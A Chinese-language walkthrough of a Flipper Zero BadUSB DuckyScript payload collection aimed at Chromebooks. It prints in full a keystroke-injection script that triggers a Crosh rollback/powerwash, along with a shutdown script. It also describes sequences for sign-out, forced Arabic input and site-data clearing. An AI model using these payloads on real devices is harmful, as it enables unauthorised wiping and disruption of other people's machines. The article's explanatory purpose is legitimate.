Flipper Zero × ChromeOS:面向 Chromebook 的 DuckyScript BadUSB 载荷集原理与逐脚本解析
本文以 Flipper Zero 资源仓库中 BadUSB/chromeOS/ 目录下的 ChromeOS 载荷集为主线,拆解一组针对 ChromeOS/Chromebook 的 DuckyScript 键盘载荷是如何构建的:从关闭标签页建立确定性焦点,到进入 chrome-untrusted://crosh 控制台触发系统回滚,再到纯键盘导航实现关机、登出、更换输入语言与清除站点数据。读完后你可以理解每个脚本的作用机理、相互差异与兼容性边界,并能据此为自己的授权测试环境挑选和微调脚本。
1. 集合的自我陈述与文件构成
本集合的说明文档 README 篇幅很短,但包含两条对使用者至关重要的陈述:
- 重写动机:作者观察到市面上许多所谓的 chromeOS 脚本实际上是从 Windows/macOS 版本生搬硬套过来的移植货,质量不佳,因此他针对 ChromeOS 的实际 UI 交互机制重新编写了全套脚本(原文大意为 "I made my own")。
- 兼容性警告:这些脚本可能不适用于所有 ChromeOS/Chromebook 设备,作者建议根据自己手中的 Chromebook 调整脚本,但"应该能在市面上大多数 Chromebook 上工作"。
集合内每个 .txt 载荷文件的 REM 注释头都标注了同一位作者(httpsisbetter),说明这是一次有统一设计的重写工作,而非散乱拼凑。目录结构如下:
| 文件 | 功能(依据各脚本 REM 注释) |
|---|---|
| croshrollback.txt | 通过 Crosh 控制台触发更新回滚(rollback/powerwash) |
| shutdown.txt | 关机 |
| shutdowninput.txt | 屏幕底部存在语言输入条时的关机变体 |
| signout.txt | 登出当前用户 |
| signoutinput.txt | 存在语言输入条时的登出变体 |
| arabic.txt | 将系统输入语言更改为阿拉伯语 |
| brainly.txt | 清除 brainly.com 的站点数据/cookies |
| closetest.txt | 批量关闭打开的浏览器标签页 |
| langfuck.txt | 组合脚本:改语言 + 设置页导航 + 关机 |
| wip/ROLLBACKNEW.txt 等 4 个文件 | 使用 DEFAULTDELAY/REPEAT 的现代化重构版本 |
2. 共同技术基础:DuckyScript 与 ChromeOS 的键盘可达面
2.1 执行模型
这些 .txt 文件均为 DuckyScript,由 Flipper Zero 的 BadUSB(HID Ducky)应用播放:将脚本文件放入 Flipper 的 SD 卡,在 BadUSB 应用中选中目标脚本,再把 Flipper 插入目标设备的 USB 口,内置 HID 设备即按脚本逐条发出键盘事件。本集合用到了以下指令词:CTRL/SHIFT 组合键、TAB、ENTER、STRING(批量输入文本)、DELAY(显式延时)、REM(注释)、以及 wip/ 版本引入的 DEFAULTDELAY 与 REPEAT。
2.2 这些脚本利用的 ChromeOS 表面
全部脚本都建立在一个前提之上:目标设备已登录用户账号、处于正常桌面状态。在此前提下,ChromeOS 提供了几个纯键盘即可触达的高价值入口:
chrome-untrusted://crosh:在浏览器地址栏输入即可打开 Crosh 控制台,这是 ChromeOS 的类 Linux 命令行界面,内置rollback等系统级命令;- 屏幕右下侧 Shelf(系统栏)的系统菜单:通过
TAB/SHIFT TAB焦点导航 +ENTER可触发关机、登出; chrome://settings/siteData:按域名清除站点数据;- 设置页的搜索与语言/输入法管理界面。
2.3 公共起手式:三连 CTRL W
从源码结构看,几乎每个脚本都以三次 CTRL W(间隔 DELAY 100)开头。其意图是可推断的:连续关闭浏览器标签页,当最后一个标签被关闭时,ChromeOS 会呈现新标签页且地址栏(omnibox)处于可预测的焦点状态。这为后续的 TAB 焦点定位与 STRING + ENTER 地址栏输入提供了一个稳定的焦点起点——这也是作者强调"重写"而非移植 Windows 脚本的原因:焦点顺序必须按 ChromeOS 自身的 UI 行为来编排。
3. 核心载荷逐个解析
3.1 croshrollback.txt —— 触发更新回滚/powerwash
完整脚本如下(原始 REM 头中的外部 URL 已省略):
REM MADE BY httpsisbetter
REM Will commit a update rollback/powerwash
REM Might not work with enterprise enrolled devices
REM Requirement: CHROMEOS
CTRL W
DELAY 100
CTRL W
DELAY 100
CTRL W
DELAY 2000
TAB
DELAY 100
TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 1000
STRING chrome-untrusted://crosh
DELAY 100
ENTER
DELAY 3000
STRING Hacked successfully!
DELAY 100
ENTER
DELAY 2000
STRING cat > /dev/null << EOF
ENTER
DELAY 500
STRING rollback
DELAY 1000
ENTER
DELAY 1000
STRING Y
DELAY 500
ENTER
按阶段拆解:
- 建立焦点起点(L6–L10):三连
CTRL W关闭全部标签页; - 聚焦地址栏(L12–L18):连续
TAB后ENTER,从源码结构看目的是把焦点稳定地落到地址栏上,作为后续输入的落点; - 进入 Crosh 控制台(L20–L22):
STRING chrome-untrusted://crosh+ENTER,等待 3 秒让控制台加载; - 控制台内输入命令链(L24–L37):先输入
Hacked successfully!并回车——这是一条无效命令,只会得到报错、无副作用,可视为作者留下的执行确认标记;随后依次输入cat > /dev/null << EOF、rollback、Y并各自回车。作者 REM 注释表明整条链的目的是在 Crosh 中提交rollback并自动应答其Y/N确认提示。
需要注意的边界:cat > /dev/null << EOF 这个 here-document 前缀在 Crosh 控制台中的具体行为无法仅凭仓库内容证实(不同固件版本的控制台实现可能有差异),且该脚本自己的注释就明确警告 "Might not work with enterprise enrolled devices"(企业注册设备可能失效)。再结合 README 的兼容性提示,任何此类破坏性操作都应在自己的授权测试机上先行验证。
3.2 shutdown.txt 与 shutdowninput.txt —— 键盘导航关机
REM MADE BY httpsisbetter
REM Shutdown the computer
REM Requirements: CHROMEOS
CTRL W
DELAY 100
CTRL W
DELAY 100
CTRL W
DELAY 2000
SHIFT TAB
DELAY 100
TAB
DELAY 100
ENTER
DELAY 100
TAB
TAB
TAB
DELAY 100
ENTER
shutdown.txt 的后半段是一段纯焦点导航:SHIFT TAB + TAB + ENTER 的组合用于打开 Shelf 右侧的系统菜单(焦点先回退再前进,保证落在菜单入口上),随后连续 TAB 三项 + ENTER 将焦点移到"关机"条目并确认。
shutdowninput.txt 与其逐行几乎相同,唯一差别是在菜单打开后多打了一个 TAB(见第 15 行)。作者注释说明了动机:当屏幕底部存在语言输入条(language input bar)时,界面的焦点顺序会被打乱,需要多停一格。这是"同一逻辑、两套焦点序列"的典型处理,也是 ChromeOS 脚本必须按目标设备 UI 状态微调的直接例证。
3.3 signout.txt 与 signoutinput.txt —— 登出
signout.txt 复用同一套 Shelf 导航前缀(SHIFT TAB + TAB + ENTER 打开系统菜单),随后不再继续 TAB,直接 ENTER 选中菜单第一项"Sign out",实现登出当前用户。
signoutinput.txt 是语言输入条变体,且在末尾追加了四次 CTRL Q + ENTER(L16–L19),用于在登出流程后关闭窗口,进一步清理界面状态。
3.4 arabic.txt —— 更改输入语言为阿拉伯语
arabic.txt 展示了集合中交互最完整的一段流程:
CTRL W×3 关闭标签页,TAB+ENTER进入设置搜索入口;STRING add input methods+ENTER:在设置中搜索"添加输入法";STRING arabic+ENTER:在结果中命中阿拉伯语并连续TAB/ENTER完成"添加"操作;SHIFT TAB×3 +ENTER:逐步退回设置页;CTRL W×3:关闭所有设置标签页,恢复现场。
其 REM 注释还特别提示:更改后屏幕底部的语言输入条仍然会保留——这正好解释了 3.2 节中 shutdowninput/signoutinput 变体存在的必要性:arabic.txt 会主动制造出语言输入条这一干扰状态,而带 input 后缀的脚本正是为这种状态准备的配套版本。
3.5 brainly.txt —— 定向清除站点数据
brainly.txt 的流程:CTRL T 新建标签页 → 输入 chrome://settings/siteData 回车 → TAB 进入该页的搜索框 → 输入 brainly 回车过滤 → 连续 TAB 到"清除"操作并 ENTER 确认 → CTRL W 关闭页面。它演示了利用 Chrome 设置页的站点数据管理界面做按域名定向清理的标准按键序列。
3.6 closetest.txt —— 批量关标签页
closetest.txt 是最短的脚本:仅三次 CTRL W。其注释明确给出扩展方法:"想关多少标签就加多少 CTRL W"——这既是测试脚本,也是"三连 CTRL W"起手式的最小单元。
3.7 langfuck.txt —— 组合脚本的链式示例
langfuck.txt 是理解本集合"编排"思路的关键样本,它由三段拼接而成:
- 前段(L5–L49):与
arabic.txt几乎逐行相同,先把输入语言改成阿拉伯语; - 中段(L51–L128):一长串
TAB/ENTER链,在设置与系统页面间逐格导航; - 尾段(L131–L141):
SHIFT TAB、TAB、ENTER、TAB×3、ENTER——与shutdown.txt的关机导航序列完全一致,即脚本最终执行关机。
读它的价值在于:可以看到作者如何把 3.4 节与 3.2 节两条独立流程按焦点状态衔接成一条连续序列,中间用 DELAY 补偿页面加载时间。
4. wip/ 目录:使用 DuckyScript 2.0 特性的现代化重构
wip/ 目录存放了四个重构版本(ROLLBACKNEW.txt、arabicnew.txt、brainynew.txt、closetestnew.txt),其中两个可与旧版直接对照,展示了新版 DuckyScript 指令带来的简洁化:
旧版 croshrollback.txt 开头:
CTRL W
DELAY 100
CTRL W
DELAY 100
CTRL W
DELAY 2000
新版 wip/ROLLBACKNEW.txt 对应改为:
DEFAULTDELAY 100
CTRL W
REPEAT 2
DELAY 2000
重构手法有两点:
DEFAULTDELAY 100:一次性设定全局默认动作间隔,替代旧版散落各处的显式DELAY 100行,脚本行数显著减少;REPEAT 2:将旧版重复三次的CTRL W收敛为一次CTRL W+REPEAT 2(即共执行 3 次),语义更清晰。
closetestnew.txt 同样用 DEFAULTDELAY 100 + CTRL W + REPEAT 2 替代了旧版 closetest.txt 的三个 CTRL W。同目录的 arabicnew.txt 与 brainynew.txt 延续同样的重构思路,可作为各自旧版脚本的对照阅读。
5. 适用前提、限制与风险边界
综合 README 与各脚本的 REM 注释,使用本集合前必须明确的边界有:
- 兼容性:README 原文声明脚本"可能不适用于所有 ChromeOS 或 Chromebook 设备,应按自己手中的 Chromebook 调整脚本"。根本原因在于所有脚本都依赖界面焦点顺序,而焦点顺序会随固件版本、系统语言、是否存在语言输入条(即
input后缀变体的存在原因)而漂移。 - 企业设备:
croshrollback.txt注释明确提示企业注册(enterprise enrolled)设备可能失效。 - 前提状态:所有脚本假定目标已登录且处于正常桌面;锁定屏或登录页状态下这些按键序列不会命中预期目标。
- 破坏性:回滚会退回系统版本、powerwash 会重置设备、关机/登出会中断用户工作——只应在自有设备或已获明确授权的设备上运行,并在关键操作(尤其 3.1 节命令链)前做行为验证。
6. 文件清单
| 相对路径 | 说明 |
|---|---|
| BadUSB/chromeOS/README.md | 集合说明:重写动机与兼容性警告 |
| BadUSB/chromeOS/croshrollback.txt | 触发更新回滚/powerwash |
| BadUSB/chromeOS/shutdown.txt | 键盘导航关机 |
| BadUSB/chromeOS/shutdowninput.txt | 语言输入条场景的关机变体 |
| BadUSB/chromeOS/signout.txt | 登出当前用户 |
| BadUSB/chromeOS/signoutinput.txt | 语言输入条场景的登出变体 |
| BadUSB/chromeOS/arabic.txt | 更改输入语言为阿拉伯语 |
| BadUSB/chromeOS/brainly.txt | 清除 brainly.com 站点数据 |
| BadUSB/chromeOS/closetest.txt | 批量关闭标签页 |
| BadUSB/chromeOS/langfuck.txt | 改语言 + 设置导航 + 关机的组合脚本 |
| BadUSB/chromeOS/wip/ROLLBACKNEW.txt | 回滚脚本的 DEFAULTDELAY/REPEAT 重构版 |
| BadUSB/chromeOS/wip/closetestnew.txt | 关标签页脚本的重构版 |
| BadUSB/chromeOS/wip/arabicnew.txt | 改语言脚本的重构版 |
| BadUSB/chromeOS/wip/brainynew.txt | 站点数据清理脚本的重构版 |
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust4.22 K638- DDeepSeek-V4.1-FlashDeepSeek-V4.1-Flash 是一个多模态混合专家(MoE)模型,拥有 5520 亿骨干参数,并支持最多一百万 token 的上下文长度。该模型原生支持图像和文本输入,并以自回归方式生成文本Python480
cherry-studio🍒 Cherry Studio 是一款支持多个 LLM 提供商的桌面客户端TypeScript2.01 K146
hello-agents📚 《从零开始构建智能体》——从零开始的智能体原理与实践教程Python50371
new-apiAI模型聚合管理中转分发系统,一个应用管理您的所有AI模型,支持将多种大模型转为统一格式调用,支持OpenAI、Claude、Gemini等格式,可供个人或者企业内部管理与分发渠道使用。🍥 A Unified AI Model Management & Distribution System. Aggregate all your LLMs into one app and access them via an OpenAI-compatible API, with native support for Claude (Messages) and Gemini formats.Go21643
JeecgBoot🔥企业级低代码平台集成了AI应用平台,帮助企业快速实现低代码开发和构建AI应用!前后端分离架构 SpringBoot,SpringCloud、Mybatis,Ant Design4、 Vue3.0、TS+vite!强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE,显著的提高效率,又不失灵活~Java35051